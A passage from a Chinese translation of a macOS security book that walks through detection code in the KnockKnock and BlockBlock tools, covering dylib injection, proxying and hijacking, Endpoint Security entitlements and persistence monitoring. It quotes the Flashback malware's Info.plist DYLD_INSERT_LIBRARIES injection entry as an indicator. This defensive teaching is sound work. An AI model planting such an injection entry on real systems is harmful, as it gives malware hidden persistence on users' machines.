解析代码按行分隔输出,然后使用等号(=)作为分隔符将每一行拆分为键值对。例如,这会将行 Path = /Applications/Adblock Plus.app/Contents/PlugIns/Adblock Plus Toolbar.appex 拆分为键 Path 和包含已安装广告拦截器扩展路径的值。然后,代码提取感兴趣的键值对,如路径、名称和 UUID。

使用扩展的路径,我们加载其Info.plist文件,并从 NSHumanReadableDescription 键中提取扩展的描述信息(列表 10-19)。

details = [NSDictionary dictionaryWithContentsOfFile:
[NSString stringWithFormat:@"%@/Contents/Info.plist",
extensionInfo[KEY_RESULT_PATH]]][@"NSHumanReadableDescription"];

extensionInfo[KEY_EXTENSION_DETAILS] = details;

Extension* extensionObj = [[Extension alloc] initWithParams:extensionInfo]; 

列表 10-19:为每个扩展初始化一个扩展对象

最后,我们创建一个 KnockKnock 浏览器扩展项对象,并使用收集到的扩展元数据。#### 动态库注入

一个名为 Flashback 的恶意软件粉碎了 Apple 操作系统免疫于恶意软件的概念。^6 Flashback 利用了一个未修补的漏洞,能够自动感染浏览到恶意网站的用户。2012 年被发现,它感染了超过 50 万名受害者,使其成为当时最成功的 Mac 恶意软件。

Flashback 还以一种新颖且隐蔽的方式保持持久性。在感染的系统上,恶意软件通过破坏 Safari 的 Info.plist 文件,并在名为 LSEnvironment 的键下插入以下字典,从而获得用户协助的持久性。

<key>LSEnvironment</key>
<dict>
  <key>DYLD_INSERT_LIBRARIES</key>
  <string>/Applications/Safari.app/Contents/Resources/UnHackMeBuild</string>
</dict>
... 

字典的 DYLD_INSERT_LIBRARIES 键包含一个指向恶意库 UnHackMeBuild 的字符串。当 Safari 启动时,它会将这个库加载到浏览器中,恶意软件便可以悄悄执行。

如今,Apple 已经通过 DYLD_INSERT_LIBRARIES 环境变量和其他方法大大减轻了 dylib 注入的风险。动态加载器现在会忽略在多种情况下的这些变量,例如对于平台二进制文件或使用硬化运行时编译的应用程序。(^7)然而,支持第三方插件的程序,尤其是旧版本 macOS 上的程序,可能仍然面临风险。

因此,KnockKnock 包含一个插件来检测这种类型的子版本。它扫描启动项和应用程序,检查是否存在 DYLD_INSERT_LIBRARIES 条目。对于启动项,这个条目位于其属性列表文件中的 EnvironmentVariables 键下,对于应用程序,你可以在应用的 Info.plist 文件中找到名为 LSEnvironment 的键,就像我们在 Flashback 中看到的那样。因为合法项很少使用持久的 DYLD_INSERT_LIBRARIES 插入,所以你应该仔细检查任何你发现的条目。

其他插件需要类似的所有启动项和应用程序的列表,因此 KnockKnock 在全局枚举器中生成这个列表。我们来简要看看 KnockKnock 是如何处理这种枚举的,重点讲解已安装应用程序的情况,因为在 Mac 上列出这些项目有多种方法。最不推荐的方法是手动枚举常见应用程序目录中的捆绑包(例如 /Applications),因为你需要考虑诸如 /Applications/Utilities/ 这样的子目录,以及用户特定的应用程序。而且,应用程序可能安装在其他位置。

一篇 Stack Overflow 的帖子建议了更好的选项。^(8) 这些选项包括利用 lsregister 工具列出所有已注册到 Launch Services 的应用程序,使用 mdfind 工具或相关的 Spotlight API 列出所有由 macOS 索引的应用程序,或者使用 macOS 的 system_profiler 工具获取操作系统软件配置中已知的应用程序列表。

KnockKnock 选择使用 system_profiler 方法。该工具可以输出 XML 或 JSON,便于程序化地获取和解析。以下是 XML 输出的示例,以及安装在我电脑上的 KnockKnock 实例的元数据:

% **system_profiler SPApplicationsDataType -xml**
<?xml version="1.0" encoding="UTF-8"?>
...
<plist version="1.0">
<array>
    <dict>
    ...
    <key>_items</key>
    <array>
        <dict>
             <key>_name</key>
             <string>KnockKnock</string>
             <key>arch_kind</key>
             <string>arch_arm_i64</string>
             ...
             <key>path</key>
             <string>/Applications/KnockKnock.app</string>
             <key>signed_by</key>
             <array>
                <string>Developer ID Application: Objective-See, LLC (VBG97UB4TA)</string>
                <string>Developer ID Certification Authority</string>
                <string>Apple Root CA</string>
             </array>
             <key>version</key>
             <string>2.5.0</string>
        </dict>
        ... 

KnockKnock 通过前面在本章中讨论的 execTask 辅助函数执行 system_profiler (列表 10-20)。

-(void)enumerateApplications {
    NSData* taskOutput = execTask(SYSTEM_PROFILER, @[@"SPApplicationsDataType", @"-xml"]); ❶

    NSArray* serializedOutput =
    [NSPropertyListSerialization propertyListWithData:taskOutput
    options:kNilOptions format:NULL error:NULL]; ❷

    self.applications = serializedOutput[0][@"_items"]; ❸
} 

列表 10-20:通过 system_profiler 枚举的已安装应用程序

一旦这个辅助函数返回 ❶,KnockKnock 会将 XML 输出序列化为 Objective-C 对象 ❷,然后将找到的应用程序列表保存在一个名为 applications 的实例变量中,位于 _items 键下 ❸。

现在,KnockKnock 的全局枚举器已经获得了应用程序(以及启动项的列表,尽管我在这里没有展示这一逻辑),dylib 插入插件可以扫描每个应用程序,寻找 DYLD_INSERT_LIBRARIES 环境变量的添加。 列表 10-21 显示了这个在名为 scanApplications 的方法中的实现。

-(void)scanApplications {
    ...
    for(NSDictionary* installedApp in sharedItemEnumerator.applications) { ❶
        NSBundle* appBundle = [NSBundle bundleWithPath:installedApp[@"path"]]; ❷
        NSURL* appPlist = appBundle.infoDictionary[@"CFBundleInfoPlistURL"]; ❸
        NSDictionary* enviroVars = appBundle.infoDictionary[@"LSEnvironment"]; ❹

        if((nil == enviroVars) ||
            (nil == enviroVars[@"DYLD_INSERT_LIBRARIES"])) {
            continue;
        }

        NSString* dylibPath = enviroVars[@"DYLD_INSERT_LIBRARIES"]; ❺

        File* fileObj = [[File alloc] initWithParams:
        @{KEY_RESULT_PLUGIN:self, KEY_RESULT_PATH:dylibPath, KEY_RESULT_PLIST:appPlist.path}];

        [super processItem:fileObj];
    }
} 

列表 10-21:枚举包含插入环境变量的应用程序

代码遍历全局枚举器❶找到的所有应用程序。对于每个应用,它使用应用程序的路径加载应用程序的捆绑包❷,该捆绑包包含关于应用程序的有用元数据。这包括应用程序的 Info.plist 文件的内容,我们可以通过捆绑包对象的 infoDictionary 属性访问该文件。提取到 Info.plist 文件的路径❸后,它使用键 LSEnvironment 提取包含特定环境变量的字典❹。当然,大多数应用不会设置任何环境变量,因此代码会跳过这些。然而,对于那些设置了 DYLD_INSERT_LIBRARIES 键的应用,代码会提取它的值:即每次运行应用时插入的库的路径❺。在 Flashback 中,它入侵了 Safari,请记住,键值对看起来像这样:

<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Safari.app/Contents/Resources/UnHackMeBuild</string> 

最后,插件中的代码创建并处理一个表示插入库的文件项对象,将其保存到 KnockKnock 揭示的持久性项目列表中,然后将其打印到终端或显示在用户界面中。#### 动态库代理与劫持

本章我将介绍的最后一个插件检测到两种利用动态库的其他持久性机制。Dylib 代理 替换目标进程依赖的库为恶意库。每当目标应用启动时,恶意动态库也会加载并运行。为了避免应用丧失合法功能,它会代理请求到原始库并返回。^(9)

与 dylib 代理密切相关的是 dylib 劫持,它利用加载器可能在多个位置查找依赖项的事实。恶意软件可以通过欺骗加载器使用恶意依赖项而不是合法的依赖项来利用这一行为。尽管恶意软件并不常滥用这种技术,但后期利用代理 EmPyre 支持它作为持久性机制。^(10) 执行此类劫持的动态库还会代理请求,以避免破坏合法功能。

为了检测这两种技术,KnockKnock 生成动态库列表,然后检查每个库是否具有 LC_REEXPORT_DYLIB 加载命令,该命令会加载并代理到原始库的请求。尽管此加载命令是合法的,但良性库很少使用它,因此我们应该仔细检查所有使用该命令的库。

不幸的是,macOS 系统上没有简单的方法列出所有已安装的动态库,因此 KnockKnock 侧重于那些当前由运行中的进程打开或加载的库。这种方法不像扫描整个系统那样全面,但话说回来,任何持久化的恶意软件可能都在某处运行。

为了构建加载的库列表,KnockKnock 运行 lsof 工具列出系统上所有打开的文件,然后过滤掉除了可执行文件之外的所有内容。如果某个动态库已被加载,那么应该会有一个打开的文件句柄指向它,而 lsof 可以枚举这些句柄。

虽然获取打开的文件列表相对简单,但确定文件是否可执行并不像你想的那么容易。你不能仅仅通过查找扩展名为.dylib的文件,因为这个列表不会包括框架,虽然框架在技术上是库,但通常不会以.dylib结尾。例如,看看Electron框架。file命令报告它确实是一个动态库,尽管它的扩展名不是.dylib

% **file "/Applications/Signal.app/Contents/Frameworks/Electron**
**Framework.framework/Electron Framework"**
Mach-O 64-bit dynamically linked shared library arm64 

另一种策略可能是通过检查文件的可执行位来判断哪些打开的文件是二进制文件,但这将包括脚本和 macOS 上的其他随机文件,如某些归档文件(正如我们在这里看到的,它们设置了可执行位 x):

% **ls -l /System/Library/PrivateFrameworks/GPUCompiler.framework/Versions/**
**32023/Libraries/lib/clang/32023.26/lib/darwin/libair_rt_iosmac.rtlib**
-rwxr-xr-x  1 root  wheel  140328 Oct 19 21:35

% **file /System/Library/PrivateFrameworks/GPUCompiler.framework/Versions/**
**32023/Libraries/lib/clang/32023.26/lib/darwin/libair_rt_iosmac.rtlib**
current ar archive 

虽然你可以手动解析每个文件,寻找通用或 Mach-O 魔法值,但事实证明,苹果提供的 API 可以为你完成此操作。相对鲜为人知的CFBundleCopyExecutableArchitecturesForURL API 提取文件的可执行架构,对于非二进制文件,它返回 NULL 或空数组。^(11) KnockKnock 利用该 API,还检查受支持架构的二进制文件(Listing 10-22)。

BOOL isBinary(NSString* file) {
    static dispatch_once_t once;
    static NSMutableArray* supportedArchitectures = nil;

    dispatch_once(&once, ^ {
        supportedArchitectures = ❶
        [@[[NSNumber numberWithInt:kCFBundleExecutableArchitectureI386],
        [NSNumber numberWithInt:kCFBundleExecutableArchitectureX86_64]] mutableCopy];

        if(@available(macOS 11, *)) { ❷
            [supportedArchitectures addObject:
            [NSNumber numberWithInt:kCFBundleExecutableArchitectureARM64]];
        }
    });

    CFArrayRef architectures = CFBundleCopyExecutableArchitecturesForURL( ❸
    (__bridge CFURLRef)[NSURL fileURLWithPath:file]);

    NSNumber* matchedArchitecture = [(__bridge NSArray*)architectures
    firstObjectCommonWithArray:supportedArchitectures]; ❹
    ...
    return nil != matchedArchitecture;
} 

Listing 10-22:确定项目是否为二进制文件

isBinary函数构建了一个架构数组,包含 32 位和 64 位 Intel 架构的值,并在dispatch_once中确保初始化只执行一次,因为我们将为每个打开的文件调用此函数 ❶。此外,代码利用@available关键字,仅在支持的 macOS 版本上添加 ARM64 架构 ❷。

接下来,我们提取传入文件的可执行架构 ❸,使用firstObjectCommonWithArray:方法检查是否包含任何受支持的架构 ❹。如果我们找到了这些架构,就可以确定打开的文件确实是一个能够在 macOS 系统上执行的二进制文件。我们将这些二进制文件添加到一个动态库列表中,KnockKnock 将很快检查这些库的代理能力。

KnockKnock 还枚举所有正在运行的进程,以提取进程主二进制文件的依赖项。每个依赖项都会被添加到检查的库列表中(Listing 10-23)。

-(NSMutableArray*)enumLinkedDylibs:(NSArray*)runningProcs {
    NSMutableArray* dylibs = [NSMutableArray array];

    for(NSString* runningProc in runningProcs) { ❶
        MachO* machoParser = [[MachO alloc] init]; ❷
        [machoParser parse:runningProc classify:NO];

        [dylibs addObjectsFromArray:machoParser.binaryInfo[KEY_LC_LOAD_DYLIBS]]; ❸
        [dylibs addObjectsFromArray:machoParser.binaryInfo[KEY_LC_LOAD_WEAK_DYLIBS]];
    }
    ...
    return [[NSSet setWithArray:dylibs] allObjects]; ❹
} 

Listing 10-23:枚举所有运行进程的依赖项

为了枚举所有正在运行的进程,插件利用了在第一章中讨论的proc_listallpids API。然后,为了提取每个进程的依赖项,它调用了名为enumLinkedDylibs的方法,该方法遍历每个已加载的进程 ❶,使用我基于第二章中的代码编写的 Mach-O 类对其进行解析 ❷,并保存强依赖和弱依赖 ❸。最后,函数返回一个包含所有运行进程中找到的依赖项的列表 ❹。

接下来,我们扫描通过lsof和正在运行的进程枚举的库列表(Listing 10-24)。

-(NSMutableArray*)findProxies:(NSMutableArray*)dylibs {
    NSMutableArray* proxies = [NSMutableArray array];

    for(NSString* dylib in dylibs) {
      ❶ MachO* machoParser = [[MachO alloc] init];
        [machoParser parse:dylib classify:NO];

      ❷ if(MH_DYLIB != [[machoParser.binaryInfo[KEY_MACHO_HEADERS]
        firstObject][KEY_HEADER_BINARY_TYPE] intValue]) {
            continue;
        }

      ❸ if([machoParser.binaryInfo[KEY_LC_REEXPORT_DYLIBS] count]) {
            [proxies addObject:dylib];
        }
    }
    return proxies;
} 

列表 10-24:检查一个二进制文件是否为动态库(可能)执行代理功能

对于每个要扫描的库,代码片段通过 Mach-O 类 ❶ 解析它。具体来说,它检查二进制文件的类型,忽略任何不是显式动态库的文件(通过 MH_DYLIB 类型标识)❷。对于动态库,它检查并保存具有 LC_REEXPORT_DYLIB 类型加载命令的库 ❸。

该方法返回它找到的任何代理库列表,以便 KnockKnock 可以将其显示给用户,无论是在终端还是用户界面中。

结论

大多数 Mac 恶意软件会持久化存在,因此能够列举持久安装项的工具可以发现即使是复杂的或从未见过的威胁。在本章中,我们研究了 KnockKnock,一个提供此功能的工具,它几乎没有给持久化的 Mac 恶意软件留下未被检测到的机会。在下一章中,我们将进一步探讨持久化,并介绍一个能够实时检测持久化 Mac 恶意软件的工具。

注释

  1. 1。  请参阅 https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns

  2. 2。  请参阅 https://web.archive.org/web/20180117193229/https://github.com/synack/knockknock

  3. 3。  Csaba Fitzl, “超越传统的 LaunchAgents -32- Dock Tile 插件”,Theevilbit 博客,2023 年 9 月 28 日,https://theevilbit.github.io/beyond/beyond_0032/

  4. 4。  “NSClassFromString(_😃,” Apple 开发者文档,https://developer.apple.com/documentation/foundation/1395135-nsclassfromstring

  5. 5。  你可以在服务的开发者文档中阅读更多关于与 VirusTotal 的编程集成,网址为 https://docs.virustotal.com/reference/overview

  6. 6。  Patrick Wardle, “Mac OS X 上恶意软件的持久化方法”,VirusBulletin,2014 年 9 月 24 日,https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

  7. 7。  Patrick Wardle, Mac 恶意软件的艺术:分析恶意软件指南,第一卷(旧金山:No Starch Press,2022 年),第 36 页。

  8. 8.  “在 OS X 上枚举所有已安装的应用程序,” Stack Overflow, https://stackoverflow.com/questions/15164132/enumerate-all-installed-applications-on-os-x

  9. 9.  Wardle, Mac 恶意软件的艺术, 1:36–37。

  10. 10.  参见 https://github.com/EmpireProject/EmPyre/blob/master/lib/modules/persistence/osx/CreateHijacker.py

  11. 11.  “CFBundleCopyExecutableArchitecturesForURL,” Apple 开发者文档, https://developer.apple.com/documentation/corefoundation/1537108-cfbundlecopyexecutablearchitectu?language=objc

第十一章:11 持久性监控器

虽然上一章中介绍的 KnockKnock 提供了强大的检测能力,但它并不实时保护系统。为了补充它,我创建了 BlockBlock,它监控 KnockKnock 列出的最重要的持久性位置,并在新项出现时提醒用户,同时赋予他们阻止该活动的能力。

BlockBlock 的初始版本于 2014 年编写,主要是概念验证,尽管如此,来自商业安全公司的员工仍然把这个工具称为“垃圾软件”,并得出结论:“提供免费的优质服务不是一个人的工作。”^(1) 多年来,BlockBlock 已逐步成熟,始终凭借接近 100%的检测率有效识别持久性 Mac 恶意软件,即使事先没有这些威胁的相关知识。

在本章中,我将讨论 BlockBlock 的设计,并展示它如何利用 Endpoint Security 有效检测未经授权的持久性事件。你将了解如何申请和应用所需的 Endpoint Security 客户端授权,以及如何通过 XPC 使工具组件之间安全地进行通信。你可以在 Objective-See 的 GitHub 仓库中找到完整的 BlockBlock 源代码,网址是 https://github.com/objective-see/BlockBlock

授权

多个 BlockBlock 组件利用了 Endpoint Security,这意味着该工具必须从 Apple 获得特权授权。如果没有授权,除非我们禁用了系统完整性保护(SIP)和 Apple 移动文件完整性(AMFI),否则在运行时创建 Endpoint Security 客户端的尝试将失败。所以,让我们首先了解如何向 Apple 请求 Endpoint Security 客户端授权,一旦获得授权,如何将其应用到 BlockBlock。

申请 Endpoint Security 授权

你可以在 https://developer.apple.com/contact/request/system-extension/ 申请 Endpoint Security 授权。申请表格会要求提供开发者信息,如你的姓名和公司,然后展示一个包含可申请授权列表的下拉菜单。选择 Endpoint Security 客户端授权 com.apple.developer.endpoint-security.client。在表格底部,描述你计划如何使用你所申请的授权。

鉴于端点安全的强大功能,苹果在授予客户端权限请求时非常谨慎,即使是知名的安全公司也是如此。也就是说,你可以采取一些措施来提高获得权限的机会。首先,注册为公司,例如有限责任公司(LLC)或类似公司。我只知道苹果曾经将端点安全客户端权限授予过一个个人。其次,在你的请求中,确保详细描述你计划如何使用该权限。端点安全客户端权限是为安全工具设计的,因此请包括你正在开发的工具的细节,并明确说明为什么它需要使用端点安全。最后,要做好等待的准备。

注册 App ID

一旦苹果授予了你权限,你必须为你的工具注册一个 App ID,指定它的捆绑 ID 和将使用的权限。登录到你的 Apple Developer 账户,点击Account,然后导航到Certificates, Identifiers & ProfilesIdentifiers。如果你已有任何现有的标识符,它们应该会显示在这里。要创建新的标识符,点击+。选择App IDs,然后点击Continue。选择App并再次点击Continue

这应该会将你带到 App ID 注册表单。大多数字段的含义显而易见。对于捆绑 ID,苹果建议使用反向域名样式,通常为 com.company.product。对于 BlockBlock,我按照图 11-1 中所示填写了字段。

图 11-1:注册 BlockBlock 应用 ID

在表单的其余部分,你将看到选项,允许你为你的工具指定能力、应用服务或附加功能。如果苹果已经授予你端点安全客户端权限,点击Additional Capabilities,然后选择“端点安全”旁边的复选框。要注册新的标识符,点击Register

创建配置文件

现在你可以创建配置文件,它提供了操作系统在运行时授权使用权限的机制。^(2) 点击你开发者账户中的Profiles,应该会带你到一个页面,显示你当前的所有配置文件。你也可以通过点击 + 来注册新的配置文件。在第一页上,指定配置文件的类型。除非你通过 Mac App Store 分发你的工具,否则请选择页面底部的Developer ID。点击Continue,然后选择你刚刚创建的 App ID。

接下来,选择要包含在配置文件中的证书。这是你用来签名应用程序的证书,可能是你的 Apple Developer 证书。在下一页面中,你将看到可以添加到配置文件中的可用权限列表。要使用 Endpoint Security,选择 System Extension EndpointSecurity for macOS。如果 Apple 尚未授予你此权限,它将不会出现在列表中。

在 Xcode 中启用权限

一旦生成了配置文件,你可以进入 Xcode 将其添加到你的项目中。首先,通过点击签名和功能面板中 Capabilities 旁的小+,然后选择 Endpoint Security 功能,告诉 Xcode 你的项目将使用 Endpoint Security。幕后,Xcode 会将权限添加到项目的权限文件中。

现在,在构建用于部署的工具时,你可以选择配置文件。第一次这样做时,你可能需要下载并将配置文件导入 Xcode。首先,从你的 Apple Developer 账户下载你生成的配置文件。然后,在 Xcode 的“选择证书和开发者 ID 配置文件”窗口中,选择导入配置文件选项,该选项位于应用程序名称旁边的下拉菜单中,浏览并选择下载的配置文件。

如果一切顺利,你应该拥有一个已编译、已授权的工具,并且该工具还包含了配置文件。例如,BlockBlock 的配置文件嵌入在其应用程序包的标准位置 Contents/embedded.provisionprofile 中。你可以通过运行 macOS 安全工具和命令行标志 cms -D -i 以及该路径,提取任何嵌入的配置文件。以下输出包含 BlockBlock 的应用 ID、其代码签名证书的信息以及它被授权使用的权限:

% **security cms -D -i BlockBlock.app/Contents/embedded.provisionprofile**
<?xml version="1.0" encoding="UTF-8"?>
...
<plist version="1.0">
<dict>
    <key>AppIDName</key>
    <string>BlockBlock</string>
    <key>DeveloperCertificates</key>
    <array>
        <data> ... </data>
    </array>
    <key>Entitlements</key>
    <dict>
        <key>com.apple.developer.endpoint-security.client</key>
        <true/>
        <key>com.apple.application-identifier</key>
        <string>VBG97UB4TA.com.objective-see.blockblock</string>
        ...
    </dict>
    ... 

你可以使用 codesign 工具查看程序所拥有的任何权限。对于 BlockBlock,这个列表包括 Endpoint Security 客户端权限:

% **codesign -d --entitlements - BlockBlock.app**
Executable=BlockBlock.app/Contents/MacOS/BlockBlock
[Dict]
    [Key] com.apple.application-identifier
    [Value]
        [String] VBG97UB4TA.com.objective-see.blockblock
    [Key] **com.apple.developer.endpoint-security.client**
    [Value]
        [Bool] true
    ... 

因为 macOS 需要一个配置文件来授权权限,即使是那些通常不作为应用程序开发的程序,如守护进程,也必须打包成应用程序包才能利用 Endpoint Security。你可以在 Apple 的文档中了解更多关于此设计选择的内容,^(3),文档中还提到,如果你从守护进程切换到系统扩展,Xcode 会自动为你处理打包工作。

工具设计

BlockBlock 由两部分组成:一个启动守护进程和一个登录项。守护进程作为一个应用程序包装,以便使用权限和配置文件。它在后台以 root 权限运行,监控持久化事件(通过处理文件输入/输出和从 Endpoint Security 传递的其他事件),管理规则,并阻止用户指定的持久项。每当它检测到一个持久化事件时,守护进程会向登录项发送一个 XPC 消息。登录项在用户的桌面会话上下文中运行,因此能够显示用户界面(UI)元素,随后会向用户显示一个警报(图 11-2)。

图 11-2:一个 BlockBlock 警报

BlockBlock 的警报包含了关于安装持久项的项目及持久项本身的丰富信息。这些信息可以帮助用户决定是否允许或删除该项。例如,图 11-2 中显示的警报中的各种红色警告标志表明存在感染。首先,安装启动代理的项airportpaird没有签名,如困惑的皱眉脸所示。从其路径可以看出,它是从临时目录运行的。

如果您将注意力转向持久项,您会注意到属性列表以 com.apple 为前缀,暗示它属于 Apple。然而,它被安装在用户的启动代理目录中,而该目录仅包含第三方代理。此外,属性列表所引用的持久项是安装并从隐藏目录(.local)运行的。最后,如果您手动检查这个二进制文件softwareupdate的代码签名信息,您会发现它没有签名。

当我在 2014 年首次发布 BlockBlock 时,Apple 尚未支持系统扩展,这也是为什么我将工具的核心逻辑放在了启动守护进程中。今天,尽管这样做并非绝对必要,BlockBlock 仍然继续使用守护进程,因为这种方法仍然有其优势。首先,您可能希望开发与旧版本 macOS 兼容的工具。其次,任何具有足够权限的工具都可以安装和管理启动守护进程。另一方面,系统扩展需要额外的权限,并且要安装或删除它们,通常需要明确的用户批准。这增加了复杂性,并需要额外的代码。然而,在某些情况下,将代码放入系统扩展中是有意义的,正如您在第十三章中将看到的那样。

插件

类似于 KnockKnock,BlockBlock 使用静态编译的插件来检测多种类型的持久化。每个插件负责处理一个独特的持久化事件或多个相关事件。该工具将每个插件的元数据存储在属性列表文件中,包括插件类的名称、用于定制警报的各种描述,以及最重要的,描述插件感兴趣的文件事件路径的正则表达式。例如,列表 11-1 显示了监视启动守护进程和代理新增的文件事件的插件元数据。

<dict>
   <key>description</key>
   <string>Launch D &amp; A</string>
   <key>paths</key>
   <array>
      <string>^(\/System|\/Users\/[^\/]+|)\/Library\/(LaunchDaemons|
      LaunchAgents)\/.+\.(?i)plist$</string>
   </array>
   <key>class</key>
   <string>Launchd</string>
   <key>alert</key>
   <string>installed a launch daemon or agent</string>
   ...
</dict> 

列表 11-1:启动项插件的元数据

正则表达式将应用于传入的文件输入/输出事件,匹配那些由于添加到启动守护进程和代理目录(如/System/Library/LaunchDaemons~/ Library/LaunchAgents)的属性列表而被处理的事件。

所有插件都继承自一个名为PluginBase的自定义基类,该类实现了基础方法,如标准初始化方法和检查文件事件是否与感兴趣事件匹配的方法。初始化方法initWithParams:接受一个参数,即包含插件元数据的字典(列表 11-2)。

-(id)initWithParams:(NSDictionary*)watchItemInfo {
    ...
    NSMutableArray* regexes = [NSMutableArray array];
 for(NSString* regex in watchItemInfo[@"paths"]) {
        NSRegularExpression* compiledRegex =
        [NSRegularExpression regularExpressionWithPattern:regex
        options:NSRegularExpressionCaseInsensitive error:NULL];

        [self.regexes addObject:compiledRegex];
    }

    self.alertMsg = watchItemInfo[@"alert"];
    self.description = watchItemInfo[@"description"];
    ...
    return self;
} 

列表 11-2:插件对象初始化的基类逻辑

在这里,你可以看到该方法首先将每个插件感兴趣的路径编译成正则表达式,然后从元数据字典中提取其他值并保存到实例变量中。

另一个重要的基类方法isMatch:接受一个表示来自FileMonitor库的事件的文件对象,然后检查是否与插件感兴趣的路径匹配(列表 11-3)。

-(BOOL)isMatch:(File*)file {
    __block BOOL matched = NO;
    NSString* path = file.destinationPath;

  ❶ [self.regexes enumerateObjectsWithOptions:NSEnumerationConcurrent
    usingBlock:^(NSRegularExpression* _Nonnull regex, NSUInteger idx, BOOL
    * _Nonnull stop) {

      ❷ NSTextCheckingResult* match = [regex firstMatchInString:path options:0
        range:NSMakeRange(0, path.length)];
        if((nil == match) || (NSNotFound == match.range.location)) {
            return;
        }

      ❸ matched = YES;
        *stop = YES;
    }];

    return matched;
} 

列表 11-3:文件路径匹配

该方法在插件的正则表达式数组上运行enumerateObjectsWithOptions:usingBlock:,以便可以并发地迭代它们❶。在并发调用的回调块中,它使用当前的正则表达式检查目标文件是否匹配插件感兴趣的事件❷。例如,对于启动项插件,该方法将检查文件事件是否与启动守护进程或代理目录中属性列表的创建对应。如果发生匹配,方法会设置标志并终止枚举❸。

基础插件类中的其他方法留给每个插件来实现。例如,当用户点击警报中的“Block”按钮时,调用的block:方法将移除持久化项。这个逻辑必须根据持久化项的类型有所不同。如果你对每种持久化项的具体卸载逻辑感兴趣,可以查看每个插件的block:方法的代码。

本质上,BlockBlock 从FileMonitor库中获取事件,该库利用了 Apple 的 Endpoint Security。在用特定的感兴趣事件初始化 FileMonitor 对象后,它指定一个回调块,然后开始文件监控(清单 11-4)。

es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_CREATE, ES_EVENT_TYPE_NOTIFY_WRITE,
ES_EVENT_TYPE_NOTIFY_RENAME, ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_EXIT}; ❶

FileCallbackBlock block = ^(File* file) {
    ...
    [self processEvent:file plugin:nil message:nil]; ❷
};

FileMonitor* fileMon = [[FileMonitor alloc] init];
[fileMon start:events count:sizeof(events)/sizeof(events[0]) csOption:csNone callback:block];
... 

清单 11-4:为每个文件事件调用的辅助方法

如果你仔细观察传递给文件监控器的 Endpoint Security 感兴趣事件,你会看到既有文件事件,也有进程事件 ❶。初始化文件监控器时包含文件事件是有意义的,我们需要进程事件来记录创建持久性项目的进程的参数。尽管并非每个持久化项目的进程都会带有参数,但许多进程是有的,在这些情况下,我们会将参数包含在展示给用户的警报中,帮助他们判断持久化事件是正常还是恶意的。在我们讨论文件输入/输出事件的处理之前,请注意,文件监控器逻辑是通过调用 start:count:csOption:callback: 方法启动的。

当文件监控器接收到事件时,它会调用指定的回调块,并传递一个表示该事件的文件对象。回调方法仅仅调用一个名为 processEvent:plugin:message: 的辅助方法 ❷。该方法调用每个插件的 isMatch: 方法,以查看文件事件是否与任何持久化位置匹配,例如在启动守护进程或代理目录中创建 .plist 文件。如果有插件对该文件事件感兴趣,BlockBlock 会创建一个自定义的 Event 对象,该对象包含表示持久化事件的文件对象和相关插件。

接下来,方法检查事件是否与任何现有规则匹配。规则是在用户与警报互动时创建的。它们可以根据诸如项目的启动文件或触发事件的进程等因素,允许或阻止持久性项目。例如,在我的开发者设备上,我也涉及摄影和照片编辑,那里有规则允许创建各种 Adobe Creative Cloud 启动代理(图 11-3)。

图 11-3:BlockBlock 规则可以允许或阻止来自指定进程的事件。

由于 Adobe 经常更新这些持久性项目,如果没有这些规则,我会频繁响应 BlockBlock 警报。如果找到匹配的规则,BlockBlock 会自动执行规则中指定的操作。否则,它会将事件发送到 BlockBlock 登录项,向用户显示警报。稍后,我们将更深入地了解双向 XPC 如何实现这种通信。不过,首先,让我们探讨一下 BlockBlock 如何使用 Endpoint Security 背景任务管理事件。

背景任务管理事件

使用全局文件监视器来检测持久化的一个缺点是它效率较低,因为文件事件几乎会随着正常的系统行为不断发生。虽然我们可以利用第九章中介绍的 Endpoint Security 的静音反转功能来缓解流量的涌入,但 BlockBlock 需要监视多个位置以检测多种持久化方法,而静音反转可能无法完全缓解基于文件监视器的方法效率低下的问题。

对我们而言,一个更好的解决方案是订阅持久化事件,而不是文件事件。在之前的章节中,我讨论了 Background Task Management 子系统,这是 macOS 中的一项新功能,它管理最常见的持久化类型,包括登录项、启动代理和守护进程。Background Task Management 还向 Endpoint Security 添加了两个事件:ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD 和 ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_REMOVE,客户端可以在登录项或启动项被持久化或移除时接收到这些事件。

BlockBlock 的最新版本利用这些事件中的第一个来弃用其大部分基于文件监视的方法,从而显著提高了效率并简化了代码库。该工具仍然监视诸如 cron 作业之类的持久化机制,但 Background Task Management 尚未为这些机制生成 Endpoint Security 事件,因此它无法完全弃用其文件监视功能。

注意:

虽然 Endpoint Security 技术上在 macOS 13 中添加了这些 Background Task Management 事件,但它们并未正确工作。例如,Endpoint Security 不仅会为新安装的项目发送通知,还会为每个现有项目发送通知。更糟糕的是,对于登录项,它根本没有发送任何事件!在我报告了这些缺陷后,Apple 在 macOS 14 中修复了这两个问题。^(4) 在 macOS 13 及更早版本上运行时,BlockBlock 回退到基于文件监视的方法。

你可以在Daemon/Monitors/BTMMonitor.m文件夹中找到实现 Background Task Management 的 Endpoint Security 客户端的代码,在Daemon/Plugins/Btm.m中找到处理事件的插件。让我们先从考虑 Background Task Management 监视器开始。像任何想要利用 Endpoint Security 事件的代码一样,我们首先定义感兴趣的事件,创建一个带有处理块的 Endpoint Security 客户端,并订阅指定的事件(列表 11-5)。

es_event_type_t btmESEvents[] = {ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD}; ❶

es_new_client(&_endpointClient, ^(es_client_t* client, const es_message_t* message) { ❷
    // Message handler code removed for brevity ❸
});

es_subscribe(self.endpointClient, btmESEvents, sizeof(btmESEvents)/sizeof(btmESEvents[0])); ❹ 

列表 11-5:订阅 ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD 事件

